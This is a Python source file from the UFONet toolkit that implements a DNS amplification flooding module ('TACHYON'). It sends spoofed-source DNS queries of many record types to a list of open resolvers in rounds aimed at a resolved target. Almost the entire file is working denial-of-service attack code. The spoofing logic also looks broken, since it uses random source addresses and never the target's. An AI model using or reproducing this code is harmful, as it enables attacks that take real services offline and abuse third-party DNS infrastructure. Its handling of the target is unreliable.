tachyon.py 3.7 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random
  11. try:
  12. from scapy.all import *
  13. except ImportError:
  14. from core._ensure import ensure
  15. if ensure('scapy.all', 'scapy') is None:
  16. print("\nError importing: scapy lib.\n")
  17. sys.exit(2)
  18. from scapy.all import *
  19. dns_file = "botnet/dns.txt" # OpenDNS servers IP list
  20. qtype = ["ANY", "A","AAAA","CNAME","MX","NS","PTR","CERT","SRV","TXT", "SOA"] # Query types
  21. ttl = 128 # (TTL) Time To Live
  22. timeout = 5 # defautl timeout
  23. qname = "www.google.com" # default 'spoofed' query
  24. # UFONet DNS Amplification (TACHYON)
  25. def randIP():
  26. ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
  27. return ip
  28. def dnsize(ip, port, rounds):
  29. n=0
  30. try: # (DNS) Amplification attack uses publically accessible DNS servers to flood a target with DNS response traffic
  31. with open(dns_file) as f: # extract OpenDNS servers from file
  32. dns_d = f.read().splitlines()
  33. f.close()
  34. p_num=0
  35. for x in range (0,int(rounds)):
  36. try:
  37. n=n+1
  38. print("[Info] [AI] [TACHYON] Shooting 'crystal' ["+str(n)+"] and unloading laser on it! -> [REFLECTING!]")
  39. for i in qtype: # loop through all query types then all DNS servers
  40. for j in dns_d:
  41. p_num += 1
  42. src_ip = randIP() # ip source spoofed on each packet sent
  43. packet = IP(src=src_ip, dst=j, ttl=ttl) / UDP(sport=port) / DNS(rd=1, qd=DNSQR(qname=qname, qtype=i))
  44. try:
  45. send(packet, verbose=0) # not using sr1 because non-replies are required
  46. print(("[Info] [AI] [TACHYON] Lasered 'crystal' [{}]".format(p_num))+" IS BEING REFLECTED by ["+str(j)+"] using DNS type: "+str(i)+" -> [AMPLIFYING!]")
  47. except:
  48. print(("[Info] [AI] [TACHYON] Lasered 'crystal' [{}]".format(p_num))+" HAS FAILED to be reflected by ["+str(j)+"] using DNS type: "+str(i)+" -> [PASSING!]")
  49. except:
  50. print("[Error] [AI] [TACHYON] Failed to engage with 'crystal' ["+str(n)+"]")
  51. except:
  52. print("[Error] [AI] [TACHYON] Failing to engage... -> Is still target online? -> [Checking!]")
  53. class TACHYON(object):
  54. def attacking(self, target, rounds):
  55. print("[Info] [AI] DNS Amplification (TACHYON) is ready to fire: [" , rounds, "crystals ]")
  56. if target.startswith('http://'):
  57. target = target.replace('http://','')
  58. port = 80
  59. elif target.startswith('https://'):
  60. target = target.replace('https://','')
  61. port = 443
  62. try:
  63. ip = socket.gethostbyname(target)
  64. except:
  65. try:
  66. import dns.resolver
  67. r = dns.resolver.Resolver()
  68. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  69. url = urlparse(target)
  70. a = r.resolve(url.netloc, "A") # A record
  71. for rd in a:
  72. ip = str(rd)
  73. except:
  74. ip = target
  75. if ip == "127.0.0.1" or ip == "localhost":
  76. print("[Info] [AI] [TACHYON] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  77. return
  78. dnsize(ip, port, rounds) # attack with TACHYON using threading